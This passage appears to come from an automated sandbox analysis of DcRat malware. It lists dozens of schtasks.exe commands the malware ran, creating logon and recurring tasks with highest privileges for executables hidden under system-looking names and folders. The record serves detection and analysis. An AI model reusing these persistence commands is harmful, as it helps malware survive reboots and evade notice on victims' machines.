                                                                                                                                  schtasks.exe /create /tn "a6a1abaf12a28ea8f6553356c3bdcf57a" /sc MINUTE /mo 14 /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\a6a1abaf12a28ea8f6553356c3bdcf57.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:1844
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Windows\Panther\setup.exe\Idle.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:1640
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "a6a1abaf12a28ea8f6553356c3bdcf57" /sc ONLOGON /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\a6a1abaf12a28ea8f6553356c3bdcf57.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:1028
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 14 /tr "'C:\Windows\Panther\setup.exe\Idle.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:2724
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "a6a1abaf12a28ea8f6553356c3bdcf57a" /sc MINUTE /mo 10 /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\a6a1abaf12a28ea8f6553356c3bdcf57.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:2220
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\dllhost.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:2216
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "lsml" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\lsm.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:2888
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:2092
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\lsm.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:2612
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:2064
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "lsml" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\lsm.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:1972
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "Happy18H" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Internet Explorer\fr-FR\Happy18.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:2416
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "smsss" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Defender\it-IT\smss.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:2876
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\it-IT\smss.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:2604
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "Happy18" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\fr-FR\Happy18.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:2920
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "Happy18H" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Internet Explorer\fr-FR\Happy18.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:1564
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Defender\it-IT\smss.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:1076
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de519071" /sc MINUTE /mo 6 /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:2624
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 8 /tr "'C:\Program Files\Uninstall Information\57ccb6f0bd910fed428761828ae93553.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:1284
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907" /sc ONLOGON /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:3128
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3140
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de519071" /sc MINUTE /mo 11 /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:3404
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 10 /tr "'C:\Program Files\Uninstall Information\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3456
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "CatC" /sc MINUTE /mo 11 /tr "'C:\Users\Default\Cat.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3660
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "winhlp32w" /sc MINUTE /mo 14 /tr "'C:\Windows\Vss\Writers\System\winhlp32.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3696
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "winhlp32" /sc ONLOGON /tr "'C:\Windows\Vss\Writers\System\winhlp32.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3804
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "Cat" /sc ONLOGON /tr "'C:\Users\Default\Cat.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:3812
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "CatC" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Cat.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3948
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "winhlp32w" /sc MINUTE /mo 6 /tr "'C:\Windows\Vss\Writers\System\winhlp32.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3956
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 13 /tr "'C:\Windows\security\logs\57ccb6f0bd910fed428761828ae93553.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:4040
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b67" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Photo Viewer\es-ES\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:4048
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b6" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\es-ES\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:3240
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Windows\security\logs\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:3248
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b67" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Photo Viewer\es-ES\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3392
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 7 /tr "'C:\Windows\security\logs\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3292
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Microsoft Sync Framework\v1.0\Documentation\smss.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3532
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b67" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Uninstall Information\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:3540
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Sync Framework\v1.0\Documentation\smss.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3636
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b6" /sc ONLOGON /tr "'C:\Program Files (x86)\Uninstall Information\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3644
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b67" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Uninstall Information\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3848
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "smsss" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Microsoft Sync Framework\v1.0\Documentation\smss.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3856
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\WmiPrvSE.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • DcRat
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:2436
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de519071" /sc MINUTE /mo 10 /tr "'C:\Users\Default\Desktop\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe'" /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:3084
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\WmiPrvSE.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:3280
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907" /sc ONLOGON /tr "'C:\Users\Default\Desktop\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  PID:3388
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks.exe /create /tn "172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de519071" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Desktop\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe'" /rl HIGHEST /f
                                                                                                                                  1⤵
                                                                                                                                    PID:3508
                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                    schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b67" /sc MINUTE /mo 7 /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /f
                                                                                                                                    1⤵
                                                                                                                                      PID:3628
                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                      schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\WmiPrvSE.exe'" /rl HIGHEST /f
                                                                                                                                      1⤵
                                                                                                                                      • DcRat
                                                                                                                                      PID:3712
                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                      schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b6" /sc ONLOGON /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /rl HIGHEST /f
                                                                                                                                      1⤵
                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                      PID:3888
                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                      schtasks.exe /create /tn "servicess" /sc MINUTE /mo 10 /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\services.exe'" /f
                                                                                                                                      1⤵
                                                                                                                                        PID:3764
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b67" /sc MINUTE /mo 14 /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                        • DcRat
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:3880
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\services.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:3992
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\Program Files\Uninstall Information\dllhost.exe'" /f
                                                                                                                                        1⤵
                                                                                                                                        • DcRat
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:3492
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "servicess" /sc MINUTE /mo 6 /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\services.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:3432
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                        • DcRat
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:3560
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\sppsvc.exe'" /f
                                                                                                                                        1⤵
                                                                                                                                        • DcRat
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:3596
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\Program Files\Uninstall Information\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                        • DcRat
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:3548
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Default User\sppsvc.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:1672
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "HelpPaneH" /sc MINUTE /mo 12 /tr "'C:\Program Files\Uninstall Information\HelpPane.exe'" /f
                                                                                                                                        1⤵
                                                                                                                                        • DcRat
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:484
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 11 /tr "'C:\Users\Default User\sppsvc.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                        • DcRat
                                                                                                                                        PID:3892
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "HelpPane" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\HelpPane.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                        • DcRat
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:4016
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "クラックク" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Media Player\es-ES\クラック.exe'" /f
                                                                                                                                        1⤵
                                                                                                                                        • DcRat
                                                                                                                                        PID:3876
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "HelpPaneH" /sc MINUTE /mo 9 /tr "'C:\Program Files\Uninstall Information\HelpPane.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                        • DcRat
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:3820
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "クラック" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\es-ES\クラック.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                        • DcRat
                                                                                                                                        PID:4068
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "lsml" /sc MINUTE /mo 8 /tr "'C:\Windows\Cursors\lsm.exe'" /f
                                                                                                                                        1⤵
                                                                                                                                        • DcRat
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:4080
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "クラックク" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Media Player\es-ES\クラック.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                        • DcRat
                                                                                                                                        PID:3108
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\Windows\Cursors\lsm.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                        • DcRat
                                                                                                                                        PID:4060
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "lsml" /sc MINUTE /mo 8 /tr "'C:\Windows\Cursors\lsm.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:3332
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "7f1630df6b57af024a3b561bdadc208f7" /sc MINUTE /mo 6 /tr "'C:\Windows\Microsoft.NET\Framework\v3.5\1036\7f1630df6b57af024a3b561bdadc208f.exe'" /f
                                                                                                                                        1⤵
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:3256
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "7f1630df6b57af024a3b561bdadc208f" /sc ONLOGON /tr "'C:\Windows\Microsoft.NET\Framework\v3.5\1036\7f1630df6b57af024a3b561bdadc208f.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:4004
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Portable Devices\spoolsv.exe'" /f
                                                                                                                                        1⤵
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:3476
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks.exe /create /tn "7f1630df6b57af024a3b561bdadc208f7" /sc MINUTE /mo 9 /tr "'C:\Windows\Microsoft.NET\Framework\v3.5\1036\7f1630df6b57af024a3b561bdadc208f.exe'" /rl HIGHEST /f
                                                                                                                                        1⤵
                                                                                                                                          PID:4092
                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                          schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\spoolsv.exe'" /rl HIGHEST /f
                                                                                                                                          1⤵
                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                          PID:3576
                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                          schtasks.exe /create /tn "winhlp32w" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\winhlp32.exe'" /f
                                                                                                                                          1⤵
                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                          PID:3672
                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                          schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Portable Devices\spoolsv.exe'" /rl HIGHEST /f
                                                                                                                                          1⤵
                                                                                                                                            PID:3604
                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                            schtasks.exe /create /tn "winhlp32" /sc ONLOGON /tr "'C:\Users\All Users\winhlp32.exe'" /rl HIGHEST /f
                                                                                                                                            1⤵
                                                                                                                                            • DcRat
                                                                                                                                            PID:3752
                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                            schtasks.exe /create /tn "Happy18H" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Portable Devices\Happy18.exe'" /f
                                                                                                                                            1⤵
                                                                                                                                            • DcRat
                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                            PID:1964
                                                                                                                                          • C:\Windows\system32\schtasks.exe
